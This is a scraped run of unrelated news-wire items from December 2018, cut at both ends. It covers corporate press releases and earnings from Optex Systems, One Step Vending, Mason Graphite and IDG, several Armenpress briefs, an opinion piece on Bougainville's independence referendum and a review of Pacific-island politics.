believe, anticipate, intends, estimate, forecast, project, plan, potential, may, should, expect, pending and similar expressions identify forward-looking statements. The forward-looking statements in this press release are based upon various assumptions, many of which are based, in turn, upon further assumptions, including without limitation, Company managements examination of historical operating trends, data contained in the Companys records and other data available from third parties. Although the Company believes that these assumptions were reasonable when made, because these assumptions are inherently subject to significant uncertainties and contingencies that are difficult or impossible to predict and are beyond the Companys control, the Company cannot assure you that it will achieve or accomplish these expectations, beliefs or projections. In addition to these important factors, other important factors that, in the Companys view, could cause actual results to differ materially from those discussed in the forward-looking statements include the strength of world economies and currencies, general market conditions, including fluctuations in charter rates and vessel values, changes in demand for dry bulk shipping capacity, changes in the Companys operating expenses, including bunker prices, drydocking and insurance costs, the market for the Companys vessels, availability of financing and refinancing, changes in governmental rules and regulations or actions taken by regulatory authorities, potential liability from pending or future litigation, general domestic and international political conditions, potential disruption of shipping routes due to accidents or political events, vessel breakdowns and instances of off-hires and other factors. Please see the Companys filings with the U.S. Securities and Exchange Commission for a more complete discussion of these and other risks and uncertainties. The Company undertakes no obligation to revise or update any forward-looking statement, or to make any other forward-looking statements, whether as a result of new information, future events or otherwise. English Lithuanian Siauliu Bankas AB, company code 112025254, address of the head office Tilzes str. 149, Siauliai, Lithuania. Siauliu bankas AB has received the notification of the person, closely associated with the manager, on transactions in securities issued by the bank (attached). Director of Securities Accounting Department Jolanta Dobiliauskiene is authorized by the Issuer to provide additional information and is available on tel.: +370 41 595669. Attachment RICHARDSON, Texas, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Optex Systems Holdings, Inc. (OTCQB:OPXS), a leading manufacturer of precision optical sighting systems for domestic and worldwide military and commercial applications, announced financial highlights from the year ended September 30, 2018 financial results. Optex Systems Holdings, Inc. is pleased to report on our 10K performance for the fiscal year ended September 30, 2018. During the twelve months ended September 30, 2018, we have experienced significant revenue growth of 12.4%, improvements in gross margin percentages of 3.3% and reductions in our general and administrative expenses of 6.2%, as compared to the twelve months ended October 1, 2017. During the full fiscal year 2018, our adjusted EBITDA is up 152.3% from the prior year level and our backlog is up 49.0% from October 1, 2017. Our key performance measures for the twelve month periods are summarized below. Backlog as of September 30, 2018 was $23.4 million as compared to a backlog of $15.7 million as of October 1, 2017, representing an increase of $7.7 million or 49.0%. During the twelve months ended September 30, 2018, Optex Systems Holdings booked $28.2 million in new orders, a 27.8% increase over orders booked of $22.3 million during the prior year twelve months. Revenue increased by $2.3 million during the twelve months ended September 30, 2018, to $20.8 million as compared to $18.5 million during the twelve months ended October 1, 2017. Revenue growth of 12.4% for the 2018 year was driven by increases of $1.5 million, or 13.4%, in the Optex Systems Richardson segment in support of sighting systems and periscope products, and $0.8 million, or 11.0%, in the Applied Optics Center segment for military coated filters and other products. Gross margin, as a percentage of revenue, increased to 21.7%, from 18.4% during the twelve months ended September 30, 2018 as compared to the prior year period. We attribute the favorable gross margin performance to revenue growth, cost efficiencies, pricing improvements and changes in product mix between the respective periods. During the twelve months ended September 30, 2018, we recorded operating income of $1.5 million as compared to operating income of $0.2 million for the twelve months ended October 1, 2017. Higher operating profits are directly related to the revenue growth, favorable gross margin performance and reduced general and administrative spending. We recognized a gain on the change in fair value of warrants of $0.1 million during the twelve months ended September 30, 2018, as compared to a loss of ($0.5) million in the prior year period. The current year gain on fair value is attributable to a change in accounting estimate that occurred during the second quarter (ended April 1, 2018) for revisions to the volatility input rate assumed in the fair value measurement of our outstanding warrants. Fair value gains and losses are non-cash other income and expense adjustments driven by changes in fair market value of our outstanding warrants and are unrelated to our core business operating performance, as such, the amounts have been excluded from our adjusted EBITDA presented below. Net income (loss) applicable to common shareholders was $0.9 million during the twelve months ended September 30, 2018, as compared to a net loss of ($0.5) million during the prior twelve month period. Net income (loss) attributable to common shareholders includes a reduction to net income (loss) for the 2018 and 2017 years of ($0.4) million and ($0.2) million, respectively, related to dividends declared and undistributed earnings (deemed dividends) for participating warrants and series C preferred shares. The net income increase over the prior year period is primarily driven by the combination of increased operating performance and the non-cash valuation gain associated with the warrants offset by increased federal income taxes on taxable income and the deemed dividends on undistributed earnings. Our adjusted EBITDA increased by $1.2 million to $2.0 million during the twelve months ended September 30, 2018 as compared $0.8 million during the twelve months ended October 1, 2017. We use adjusted earnings before interest, taxes, gains/losses on changes in fair values, depreciation and amortization (EBITDA) as an additional measure for evaluating the performance of our business as net income includes the significant impact of noncash valuation gains and losses on warrant liabilities, noncash compensation expenses related to equity stock issues, as well as depreciation, amortization, interest expenses and federal income taxes. We believe that adjusted EBITDA is a meaningful indicator of our operating performance because it permits period-over-period comparisons of our ongoing core operations before the excluded items. Adjusted EBITDA is a financial measure not required by, or presented in accordance with U.S. generally accepted accounting principles (GAAP). The table below summarizes our annual operating results for periods ended September 30, 2018 and October 1, 2017, in terms of both the GAAP net income measure and the non-GAAP adjusted EBITDA measure. We believe that including both measures allows the reader to have a complete picture of our overall performance. (Thousands) Twelve months ended September 30, 2018 October 1, 2017 Net Income (Loss)- GAAP $ 1,394 $ (304 ) Add: (Gain) Loss on Change in Fair Value of Warrants (95 ) 489 Federal Income Tax Expense - Current 167 - Depreciation 327 337 Stock Compensation 153 220 Royalty License Amortization 30 30 Interest Expense 20 19 Adjusted EBITDA - Non GAAP $ 1,996 $ 791 We ended the year with working capital of $8.5 million and $1.1 million in cash and cash equivalents. During the twelve months ended September 30, 2018, we generated over $1.0 million in operating cash and paid out dividends to our share and warrant holders of $0.8 million. We have repurchased 700,000 shares of common stock during the twelve months ended September 30, 2018. During the fiscal year ended October 1, 2017, the Company repurchased 700,000 shares of common stock. All 1.4 million of the purchased common shares have been returned to the treasury and cancelled. Based on increased backlog and orders during the year, Optex Systems Holdings, Inc. anticipates continued strong performance for the 2019 fiscal year beginning October 1, 2018 as compared to the fiscal year 2018 performance. Increased customer orders and backlog levels paired with accelerated production and delivery rates for our military products combined with increased gross margins and lower general and administrative spending are projected to continue. Danny Schoening, CEO of Optex Systems Holdings, Inc. commented, We are extremely pleased with our year end performance. Our ability to increase the number of Indefinite Delivery, Indefinite Quantity (IDIQ) contracts combined with our commercial business has helped level out the quarter to quarter performance. Our factories are more efficient and this yields higher gross margins. Our backlog going into 2019 is extremely strong and we continue to see increased revenue, increased gross margin, and increased earnings. Highlights of the unaudited Consolidated and Segment Results of Operations have been prepared in accordance with U.S. generally accepted accounting principles (GAAP). These financial highlights do not include all information and disclosures required in the consolidated financial statements and footnotes, and should be read in conjunction with the Form 10-K for the annual period ended September 30, 2018 filed with the SEC on December 20, 2018. ABOUT OPTEX SYSTEMS Optex, which was founded in 1987, is a Richardson, Texas based ISO 9001:2015 certified concern, which manufactures optical sighting systems and assemblies, primarily for Department of Defense (DOD) applications. Its products are installed on various types of U.S. military land vehicles, such as the Abrams and Bradley fighting vehicles, Light Armored and Armored Security Vehicles, and have been selected for installation on the Stryker family of vehicles. Optex also manufactures and delivers numerous periscope configurations, rifle and surveillance sights, and night vision optical assemblies. Optex delivers its products both directly to the military services and to prime contractors. For additional information, please visit the Company's website at www.optexsys.com. Safe Harbor Statement This press release contains certain forward-looking statements, as that term is defined in the Private Securities Litigation Reform Act of 1995, including those relating to the products and services described herein. You can identify these statements by the use of the words may, will, could, should, would, plans, expects, anticipates, continue, estimate, project, intend, likely, forecast, probable, and similar expressions. These forward-looking statements involve risks and uncertainties that could cause actual results to differ materially from those projected or anticipated. Such risks and uncertainties include, but are not limited to, continued funding of defense programs and military spending, the timing of such funding, general economic and business conditions, including unforeseen weakness in the Companys markets, effects of continued geopolitical unrest and regional conflicts, competition, changes in technology and methods of marketing, delays in completing engineering and manufacturing programs, changes in customer order patterns, changes in product mix, continued success in technological advances and delivering technological innovations, changes in the U.S. Governments interpretation of federal procurement rules and regulations, changes in spending due to policy changes in any new federal presidential administration, market acceptance of the Company's products, shortages in components, production delays due to performance quality issues with outsourced components, inability to fully realize the expected benefits from acquisitions and restructurings or delays in realizing such benefits, challenges in integrating acquired businesses and achieving anticipated synergies, changes to export regulations, increases in tax rates, changes to generally accepted accounting principles, difficulties in retaining key employees and customers, unanticipated costs under fixed-price service and system integration engagements, changes in the market for microcap stocks regardless of growth and value and various other factors beyond our control. You must carefully consider any such statement and should understand that many factors could cause actual results to differ from the Company's forward-looking statements. These factors include inaccurate assumptions and a broad variety of other risks and uncertainties, including some that are known and some that are not. No forward-looking statement can be guaranteed and actual future results may vary materially. The Company does not assume the obligation to update any forward-looking statement. You should carefully evaluate such statements in light of factors described in the Company's filings with the SEC, especially on Forms 10-K, 10-Q and 8-K. In various filings the Company has identified important factors that could cause actual results to differ from expected or historic results. You should understand that it is not possible to predict or identify all such factors. Consequently, you should not consider any such list to be a complete list of all potential risks or uncertainties. Contact: IR@optexsys.com 1-972-764-5718 Harrison, NY, Dec. 20, 2018 (GLOBE NEWSWIRE) -- via NEWMEDIAWIRE -- One Step Vending Corp. (OTC PINK: KOSK), announced today that the Company has received the first batch of CBD vending machines and is en route to make the first CBD vending machine installation to a convenient store located in Brooklyn, New York. Three more CBD vending machines will be installed in three different locations in Brooklyn by the end of next week. The first CBD infused products that will be currently available in KOSKs branded CBD Kiosks include gummies, CBD oil, drinks, coffee and tea. The CBD products will all be served in introductory packages in order to offer an economical initiation option to the neighborhood customers. All products sold via KOSKs CBD Kiosks are zero THC and are products of pioneering American manufacturers that are already available on the domestic online market. KOSK President David Garfinkel commented: Were excited for the first CBD vending machine installation and well work closely with the stores to promote the products and support the customers. The implementation of the in-store part of our plan is coming to realization and we expect to have a warm reception from both the merchants and the customers as we aspire more arithmetically and diverse places to follow. Investors can look forward to photos and videos of the CBD Kiosks as they are installed and operational in the different locations. One Step Vending Corp., corporate website: http://www.onestepvending.com Please follow us on twitter: https://twitter.com/onestepvend About One Step Vending Corporation One Step Vending Corp. is a holding company focused on the acquisition of market-changing and disruptive business models. The Company supports subsidiaries with key financial, sales, marketing, and operational changes designed to accelerate growth and shareholder value. The Company has prioritized the development of Micro-Markets which are displacing vending machines with a small convenience store in thousands of offices across the Country, this transition will change the $7 billion vending industry by igniting growth in revenues and delivering fresher high-value products to meet new consumer demand. For more information visit: http://www.onestepvending.com About Sofos CBD Inc. Sofos CBD Inc. is currently developing the www.cbdkiosks.com, a hemp specialized market platform, aimed to provide various cannabinoid-infused products made in the United States, through collaboration with breakthrough companies in the field and specially designed products under its brand. The e-shop platform is currently under development and pending to be launched. About Corporate Refreshment Services-Micro Markets, Inc. CRS-Micro Markets, Inc., a provider of a wide range of food and beverage solutions, focuses on the use of self-checkout Micro Market technology in the area of San Diego, California. Safe Harbor Statement This release may contain forward-looking statements, including, without limitation, statements containing the words "believes", "anticipates", "expects", "intends", "plans", "seeks", "estimates", "may", "will", "could", "stands to" and "continues", as well as similar expressions. Such forward-looking statements may involve known and unknown risks, uncertainties and other factors which might cause the actual results, financial condition, performance or achievements of One Step Vending Corp., or industry results, to be materially different from any historic or future results, financial conditions, performance or achievements expressed or implied by such forward-looking statements. Given these uncertainties, the reader is advised not to place any undue reliance on such forward-looking statements. These forward-looking statements speak only as of the date of publication of this document. One Step Vending Corp. expressly disclaims any obligation to update any such forward-looking statements in this document to reflect any change in its expectations with regard thereto or any change in events, conditions or circumstances on which any such statement is based unless required by law or regulation. French English MONTREAL, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Mason Graphite Inc. (Mason Graphite or the Company) (TSX.V: LLG; OTCQX: MGPHF) would like to congratulate NanoXplore (TSX.V: GRA) for its recently announced construction financing. This financing will allow NanoXplore to proceed with the construction of its production facility in Montreal, Quebec, Canada. Please see press release issued by NanoXplore on December 18th, 2018. Benoit Gascon, President and CEO of Mason Graphite commented: We are very proud to have NanoXplore as a partner, which has now established itself amongst the worlds leading graphene companies. The potentially explosive growth of the graphene market remains difficult to fully understand today, and from the onset, we have always liked NanoXplores ultra low-cost processing technology and their industrial business approach to focus on rapidly accessible large volume markets. The quality of their strategic shareholders speaks volume. Mason Graphite first acquired 40% of Group NanoXplore (now NanoXplore) in early 2014 for $700,000 and participated in subsequent financings. Before the above-mentioned financing, Mason Graphite owned 22.3% of NanoXplore. NanoXplore now has the potential to become a large user of graphite and Mason Graphite will play an active role through its supply agreement with NanoXplore. About Mason Graphite and the Lac Gueret Project Mason Graphite is a Canadian mining and processing company focused on the development of its 100% owned Lac Gueret natural graphite deposit located in northeastern Quebec. The Company is led by a highly experienced team that has over five decades of experience in graphite production, sales, and research and development. For more information, visit www.masongraphite.com . Mason Graphite Inc. On Behalf of the Board Benoit Gascon, CPA, CA, President & Chief Executive Officer For more Information: Simon Marcotte, CFA, Director Corporate Development at +1 (647) 801-7273 info@masongraphite.com For more information relating to local communities: Luc Veilleux, CPA, CA, CFO and Executive Vice-President +1 (514) 289-3582 info@masongraphite.com Head Office: 3030, boulevard Le Carrefour, bureau 600, Laval, Quebec, H7T 2P5 Cautionary Statements This press release contains "forward-looking information" within the meaning of Canadian securities legislation. All information contained herein that is not clearly historical in nature may constitute forward-looking information. Generally, such forward-looking information can be identified by the use of forward-looking terminology such as "plans", "expects" or "does not expect", "is expected", "budget", "scheduled", "estimates", "forecasts", "intends", "anticipates" or "does not anticipate", or "believes", or variations of such words and phrases or state that certain actions, events or results "may", "could", "would", "might" or "will be taken", "occur" or "be achieved". Forward-looking information is subject to known and unknown risks, uncertainties and other factors that may cause the actual results, level of activity, performance or achievements of the Company to be materially different from those expressed or implied by such forward-looking information, including but not limited to: (i) volatile stock price; (ii) the general global markets and economic conditions; (iii) the possibility of write-downs and impairments; (iv) the risk associated with exploration, development and operations of mineral deposits; (v) the risk associated with establishing title to mineral properties and assets; (vi) the risks associated with entering into joint ventures; (vii) fluctuations in commodity prices; (viii) the risks associated with uninsurable risks arising during the course of exploration, development and production; (ix) competition faced by the resulting issuer in securing experienced personnel and financing; (x) access to adequate infrastructure to support mining, processing, development and exploration activities; (xi) the risks associated with changes in the mining regulatory regime governing the resulting issuer; (xii) the risks associated with the various environmental regulations the resulting issuer is subject to; (xiii) risks related to regulatory and permitting delays; (xiv) risks related to potential conflicts of interest; (xv) the reliance on key personnel; (xvi) liquidity risks; (xvii) the risk of potential dilution through the issue of common shares; (xviii) the Company does not anticipate declaring dividends in the near term; (xix) the risk of litigation; and (xx) risk management. Forward-looking information is based on assumptions management believes to be reasonable at the time such statements are made, including but not limited to, continued exploration activities, no material adverse change in metal prices, exploration and development plans proceeding in accordance with plans and such plans achieving their stated expected outcomes, receipt of required regulatory approvals, and such other assumptions and factors as set out herein. Although the Company has attempted to identify important factors that could cause actual results to differ materially from those contained in the forward-looking information, there may be other factors that cause results not to be as anticipated, estimated or intended. There can be no assurance that such forward-looking information will prove to be accurate, as actual results and future events could differ materially from those anticipated in such forward-looking information. Such forward-looking information has been provided for the purpose of assisting investors in understanding the Company's business, operations and exploration plans and may not be appropriate for other purposes. Accordingly, readers should not place undue reliance on forward-looking information. Forward-looking information is made as of the date of this press release, and the Company does not undertake to update such forward-looking information except in accordance with applicable securities laws. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. YEREVAN, DECEMBER 20, ARMENPRESS. President of the Artsakh Republic Bako Sahakyan addressed a congratulatory message in connection with the Day of the National Security Serviceman, the Presidential Office told Armenpress. The message reads: Dear servicemen and veterans of the National Security Service, On behalf of the republic's authorities and myself personally I convey my cordial congratulations on your professional holiday. National security system is among the pivotal directions of the state's activity and occupies a special place in the state building process. You carry out important duties aimed at ensuring the security of our state and people, protecting the legitimate interests and rights of citizens, contributing to the sustainable and steady development of the society. It requires high professionalism, principle stance and commitment to the native country. The state will further on do its utmost to improve the working and social conditions of national security officers. Dear friends, I once again congratulate you on the Day of the National Security Serviceman wishing peace, robust health and success in your difficult and responsible service. Edited and translated by Aneta Harutyunyan YEREVAN, DECEMBER 20, ARMENPRESS. The Ministry of Education and Science is planning revisions in the election procedure of school principals. Public Education Department Director of the ministry Ashot Arshakyan told ARMENPRESS that problems exist regarding the election. Problems vary, there are both objective and subjective reasons. We have concluded that indeed there is a problem concerning the participation of teachers and parents during the selection. Parents are represented less, an issue they themselves are raising, he said. The ministry is suggesting to enhance the role of parents and emphasize their significance not only in electing principals, but also in the works of councils and school management. The current council that is electing principals is composed of 8 members, with two representatives from the pedagogical and parent councils each. Representatives from the ministry are also involved, as well as an authorized body. The planned changes will increase the composition to 9 members with the pedagogical and parent councils having three representatives each. Arshakyan says that the representatives of the council will have meetings will all candidates prior to the election. A new initiative is a meeting of candidates with student councils. This is a new thing, he said. He said the ministry is currently taking steps to increase the role of parents in the process. Edited and translated by Stepan Kocharyan YEREVAN, DECEMBER 20, ARMENPRESS. Armenias Human Rights Defender (Ombudsman) Arman Tatoyan has participated in parliamentary hearings in Russia dedicated to the 25th anniversary of establishment of the Russian Constitution and the Human Rights Commissioner institution at the invitation of his Russian counterpart in Moscow. Tatoyan delivered remarks the event, his office said. He presented his vision about the role of the Constitution, the rule of law and the Ombudsman, as a constitutional institution. State Duma committee chairmen, lawmakers, human rights commissioners of Russian subjects and other officials took part in the event. Edited and translated by Stepan Kocharyan YEREVAN, DECEMBER 20, ARMENPRESS. The academic board of the Armenian State University of Economics has appointed Ruben Hayrapetyan, acting Head of the Management Department, to serve as interim rector of the university following the dismissal of Atoyan. Hayrapetyan is the youngest professor in Armenia at 31 years of age. Caretaker Minister of Education and Science Arayik Harutyunyan was also in attendance of the board meeting. The student council thanked the former rector and congratulated Hayrapetyan. Ruben Hayrapetyan is also a Yerevan City Councilor from the My Step Alliance. Edited and translated by Stepan Kocharyan YEREVAN, DECEMBER 20, ARMENPRESS. Major disruptions are reported in Londons Gatwick airport after two drones were spotted over the airfield, BBC reports. Gatwick's runway has been shut since Wednesday night, when the devices were seen flying over the perimeter fence. The airport said 110,000 passengers on 760 flights were due to fly on Thursday. Police were still hunting for the drone operator after another device was reported just before 07:00 GMT. Sussex Police said it was not terror-related but a "deliberate act" of disruption. European air traffic management group Eurocontrol said the runway would remain closed until 11:00. YEREVAN, DECEMBER 20, ARMENPRESS. 2000-2500 visitors from different countries of the world are expected to arrive in Armenia to participate in the World Congress on Information Technology (WCIT) 2019 in October. Alexander Yesayan, chairman of the Union of Advanced Technology Enterprises (UATE), told a press conference in Armenpress that quite extensive works have been carried out in 2018 for the organization of the Congress. Important agreements have been reached on the sidelines of visits to several countries. A meeting was held with the respective partners in Taiwan. We have reached a preliminary agreement to hold an exhibition with Computex, one of the largest computer and technology trade shows in the world. Taiwan companies will be presented at the upcoming Congress in Armenia. We expect visit of delegation from Taiwan to Armenia in March, he said, adding that the names of famous companies, the leaders of which will attend the WCIT, will soon be announced. Discussions are also underway with Facebook, Google, Amazon and other companies. Alexander Yesayan said they are also actively cooperating with the Armenian government and have the state support for holding the Congress at the highest level. We will try to take actions to make the Congress participants be interested in Armenias potential. The first issue such major companies are interested in is the number of specialists. They must understand how many people work in the field and how much their number grows every year. We have quite successful companies across the world, which is important indicator, and we should try also to show our potential in education field. In this context Armat is an important initiative within the frames of which many school-children, young people are involved in the IT field, the UATE chairman said. UATE CEO Karen Vardanyan said in addition to demonstrating the potential, success and achievements in the IT field, its also very important to show Armenias hospitality. We should show the human features of the Armenian people, their hospitality. It is necessary to make efforts to create a good atmosphere so that the Congress participants will remember our country, would like to visit again and work here. The preliminary actions are also very important so that the topics of the Congress will be interesting to the world, Karen Vardanyan said. The World Congress on Information Technology (WCIT) is the largest and the most reputable international event among worldwide IT leaders. It brings together high-level officials from different countries, heads of multinational organizations, universities and scientific research centers, non-governmental organizations' representatives and many more. The event includes discussions of legal, political and economic trends affecting IT business processes, presentations of innovative solutions, B2B meetings and so on. The WCIT 2019 will be held in Yerevan, Armenia from October 6 to 9. Reported by Anna Gziryan Edited and translated by Aneta Harutyunyan YEREVAN, DECEMBER 20, ARMENPRESS. Armenia is Russias strategic partner in the region and worldwide, Russian President Vladimir Putin said during his annual press conference in response to a question from a reporter on how is Russia planning to restore its policy with Armenia after the parliamentary elections. There is nothing that has collapsed to restore. Armenia is our strategic partner in the region and globally, it is a CSTO and EEU member. We have to develop what we have, Putin said. Putin said that the Armenian people are the closest partners of the Russian people in South Caucasus. This has been this way historically, it is this way now and I hope this will continue being so. We must proceed by taking into account the current situation worldwide and the region. We will soon discuss these issues with Mr. Pashinyan [Armenian PM], who will visit [Russia] next week, Putin said. Edited and translated by Stepan Kocharyan YEREVAN, DECEMBER 20, ARMENPRESS. The Yerevan home of Deputy Police Chief of Armenia Hovhannes Kocharyan has been burglarized, police confirmed. We have a call from the Malatia-Sebastia department. A group has been dispatched to the scene at this moment, the police headquarters told ARMENPRESS. Police did not specify if Kocharyan was at home when the incident took place. Further details werent immediately clear. Edited and translated by Stepan Kocharyan I live amongst the ordinary people of central and south Bougainville and I am appalled by what I come across in the villages. But here in Bougainville, where the majority of the people reside, little was progressed. Thousands of kina were spent for this team to visit Bougainvilleans in Port Moresby, Madang, Mt Hagen, Lae, Goroka, Rabaul and Kimbe to ask what the diaspora thought about the many aspects of the dawning referendum. Meanwhile, back at their island home, the people were confused even though June 2019, the time of the referendum to decide their political future, was only about a year away. ARAWA - Between March and May this year, the referendum directorate of the Department of Bougainville Peace Agreement and Implementation left the autonomous province to consult with Bougainvilleans outside Bougainville. John Momis and Peter O'Neill negotiate the Bougainville independence referendum - but the people remain divided and confused While government leaders in Buka talk confidently from their comfortable offices, our people are laughing at them and saying and doing things beyond the imagination of the leadership. In Bougainville today there are a number of groups claiming to be the real government of Bougainville. Many readers would be familiar with Meekamui and the Royal Kingdom of Papala. Meekamui has a number of groups spread across Bougainville with their own agendas and associated conflicts. Apart from these groups there are others keen to see Bougainville to kneel before them. These people could be tagged as warlords. And there are also religious groups and individuals offering their own teachings on Bougainville politics: Catholics, Protestants, traditional belief systems and a mixture of the three. Furthermore, each of these persons or groups have followers. They have their own spheres of influence in business and politics. All our legitimate politicians in Bougainville and in the national government in Port Moresby approach them with caution and not with the power entrusted in them by the ballot box. Many of these rogue groups or individuals are importing guns and ammunition. A number claim they are arming for the referendum. They say the current leadership of Bougainville is controlled by the Australian and Papua New Guinean governments. During the [civil war], Australia aided the PNG military and killed us, one of these people said to me. Now they are here giving us peace and taking control of the Autonomous Bougainville Government. Should we trust ABG? No. The ABG is now a government of the consultants from Australia. In the Buka ABG administration compound there are more consultants vehicles than ABG personnel. Another told me, I know when we vote in the referendum, PNG will not grant us independence with all sort of reasoning. Then I know which leaders I will kill. Travelling along the highway to Arawa from Buin I listened to my fellow travellers arguing. One of them, an old man, said he was not going to enrol with his community to be listed on the referendum voting roll. I and my community are set, we will not enrol in that referendum roll since the leaders are really bad, he said. They only talk in Buka and never come to visit us. The late Joseph Kabui was a good leader who was with us all through the crisis. Who is this Momis? He is selling Bougainville to the Asians. Asians are now in control of our business. So why did we fight? To sit and watch Asians raping us? Amongst the travellers many supported him. What he is saying is real, a man commented. The ABG has gone off track and the peace agreement is the thing holding them from sinking us. Australian consultants are in charge and they have placed little kids in the ABG administration. Our peace process was achieved by people without much education but who had deep understanding of Bougainvilles problems. These leaders have been removed. What the world must now know is that, in this post crisis, pre referendum period, every individual Bougainvillean is pursuing their own survival. Politics is not in the heart as it was at the peak of the crisis and under the reign of leaders who moved along with the people on both sides of the unrest. The confusion amongst our people as the hour of referendum moves closer is the result of poor leadership. In Bougainville today, a little news of a leaders misconduct distracts the hearts and minds of the people. Developing better leaders is a task all should be thinking about. Although it has a referendum, Bougainville still has a long road to freedom. Boston, Mass., Dec. 20, 2018 (GLOBE NEWSWIRE) -- IDG Communications, Inc. the worlds leading tech media, data, and marketing services company explores the role of content consumption and sales enablement during the technology purchase process in the 2018 Customer Engagement research ( Click to Tweet ). The majority of organizations (93%) have digital business plans, with most finding themselves in the exploratory phase, making tech investments a key priority. Unfortunately, technology vendors are often missing the mark in their content development; only 40% of content downloaded by IT decision-makers (ITDMs) is considered valuable. Content: Keep ITDMs Engaged or Lose Them Over the past six months, 92% of ITDMs have registered for tech content, and insights on security, cloud and IT services have topped the list in their searches. With a remarkable amount of content available, 93% of ITDMs prefer content that is tailored for them: 54% would like the content tailored based on their industry; and 49% by tech platforms already installed in their organization. When content is considered valuable, additional steps in self-education are taken, including research on technology content sites (64%), visiting the vendor website (63%), and participating in a product demo (50%). While content can introduce prospects to a company or product, and lead them through the purchase process, it can also cause them to abandon their research of a specific vendor. Key factors leading to abandonment issues include, promotional/self-serving content (51%); not enough content available to do research on their own (48%); content is not clear (47%); too many requirements to download (44%); and level of expertise in content is not at the right level (42%). Content and educational tools can both positively and negatively impact the likelihood of a sale, said Julie Ekstrom, SVP, IDG Communications, Inc. Vendors need to invest in content that navigates tech decision-makers through the purchase process. If they do not, they risk negatively impacting the impression of their organization for three-quarters of decision-makers. Content Distribution: Audio, Video, Social ITDMs still rely on traditional content formats like product demos/literature, product tests and reviews, and tech news, but as more ITDMs are watching webcasts (96%) and listening to podcasts (74%), it increases the importance of a multi-channel content approach. Not all webcasts are valued the same, as 51% of ITDMs prefer webcasts on-demand, aligning to their busy and changing schedules. Additionally, 60% of ITDMs prefer to download podcasts to listen to later. To keep them hooked, podcast producers should consider interactive formats such as panel discussions or interviews. Social media continues to be a channel ITDMs use to learn about tech topics, with 93% of tech professionals using social media for work. LinkedIn continues to hold the top ranking; however, YouTube has shown significant growth with 67% of ITDMs using this channel, compared to 46% in 2017. LinkedIn and YouTube are not just the top used social channels, they are the social channels where content is most often consumed. However, when it comes to sharing and posting content, LinkedIn and Facebook rank the highest. Earning the Sale: Marketing / Sales Alignment & Emerging Vendors On average, five companies are included for initial research during the tech purchase process and only three make it to the shortlist for further consideration. Overall, 80% of ITDMs shared that when a brand is known and trusted it increases the likelihood of being added to the shortlist. However, new and emerging vendors are not excluded, as 27% of ITDMs are open to being one of the first clients for an emerging vendor. SaaS solutions and web apps are the categories that ITDMs are most comfortable trying out. Once marketing-generated content gets noticed and read, responsibility for engagement is passed to sales. Eighty-nine percent of ITDMs shared that after downloading content, contact with a knowledgeable sales person, able to answer questions promptly, impacts the likelihood of a sale, which is up from 68% in 2016. So, when should this conversation take place? Sales should give ITDMs six days after content is downloaded before they follow up, because it often takes 2.75 days for content to be consumed once downloaded. This outreach should be via email and never text. However, if an ITDM completes a contact us form, sales should reach out in less than 17.21 hours, because 31% of ITDMs say that the first to respond usually gets the business. About the 2018 IDG Customer Engagement Survey IDGs 2018 Customer Engagement Survey was conducted among the audiences of eight IDG brands (CIO, Computerworld, CSO, InfoWorld, ITworld Macworld, Network World and PCWorld) representing IT and security decision-makers across multiple industries. The survey was fielded online with the objective of understanding the various types and volume of content consumed throughout the purchase process for major technology products and services. It also looks to gain insight into the preferences of IT decisions-makers with regard to IT solution provider contact and follow-up during the purchase process. Results are based on 1,200+ global tech decision-maker respondents. About IDG Communications, Inc. IDG Communications connects the world of tech buyers with insights, intent and engagement. IDG Communications is the worlds largest media, data and marketing services company that activates and engages the most influential technology buyers. Our premium brands, including CIO, Computerworld, PCWorld and Macworld, engage the most powerful audience of technology buyers providing essential guidance on the evolving technology landscape. Our global data intelligence platform activates purchasing intent, powering our clients success. IDG Marketing Services creates custom content with marketing impact across video, mobile, social and digital. We execute complex campaigns that fulfill marketers global ambitions seamlessly with consistency that delivers results and wins awards. IDG is the #1 tech media company in the world, per comScore.* *Source: comScore Media Metrix, Desktop Unique Visitors, Worldwide, January 2017 Additional information about IDG, a privately held company, is available at http://www.idg.com . Follow IDG on Twitter: @IDGworld Like IDG on LinkedIn Like IDG on Facebook ### China cemented a number of key bilateral relationships with Pacific island countries by securing sign-ups to its Belt and Road Initiative. While Chinas engagement with Pacific island countries is not new, it has become more significant of late. A year of jumping at shadows and knee-jerk announcements culminated in the APEC summit, held in Port Moresby in November. The influence of China in the Pacific has been the subject of much debate and analysis, some of it of questionable quality. BRISBANE - The changed and changing geo-strategic environment of the Pacific islands made its presence known on numerous occasions during the year. After decades of neglect, the region was rediscovered by strategists in Australia, the United States and elsewhere. Nervous Western allies sought to reassert diplomatic and strategic strength through some big announcements, including a redevelopment of the Lombrum naval base on Manus and an ambitious plan to bring electricity to 70% of Papua New Guineas population. Earlier in the year, the renewed geopolitical competition between China and Taiwan caused headaches at the meeting of the Pacific Islands Forum leaders in Nauru, which saw the Chinese delegation walkout from the Forum Dialogue Partners meeting. A referendum on independence in New Caledonia in November was another significant event this year. First envisaged in the 1998 Noumea Accords, the referendum was long awaited. While the result was largely as expected (to remain a part of France), two other aspects of the vote stood out. One was the high turnout (over 80%) and the other was the narrow margin of the result (56.4% No to 43.6% Yes). Other than some sporadic unrest immediately after the voting concluded, the referendum proceeded smoothly and peacefully. There is the possibility of two more independence referendums following the process established under the Noumea Accords, with the next anticipated to be in 2020. 2018 also saw the second round of elections in Fiji since the 2006 coup. In the lead up to elections there was a great deal of focus on the battle between Prime Minister Voreqe Bainimarama and Sitiveni Rabuka, leader of the Social Democratic Liberal Party and reformed coup leader. Rabuka was subject to legal proceedings relating to alleged fraud until the eve of the elections, when the public prosecutors appeal against acquittal was dismissed by the High Court. The elections saw Fiji First return to government with Bainimarama reinstalled as prime minister but with a significantly reduced majority, reflecting a swing away from his party of more than 9%. Notably, there are now 10 women in the Fijian parliament. At 20% of the total, this is a significant achievement in a region where rates of female representation in national decision-making are among the lowest in the world. In early December, opposition parties issued a petition challenging the results of the elections, which the High Court will determine by the end of the year. The influence of Australias domestic politics trickled into the Pacific islands on several occasions throughout the year. A change in leadership saw the replacement of former foreign minister Julie Bishop, a well-known figure in the region, with Senator Marise Payne. Fresh from her stint as minister for defence, Paynes first job was to attend the meeting of the Pacific Islands Forum leaders in Nauru in place of the new prime minister, Scott Morrison. His absence was noted at home and away, and continues Australias poor track record in this regard. 2018 also saw the burgeoning Seasonal Worker Program come under attack on the back of a push by 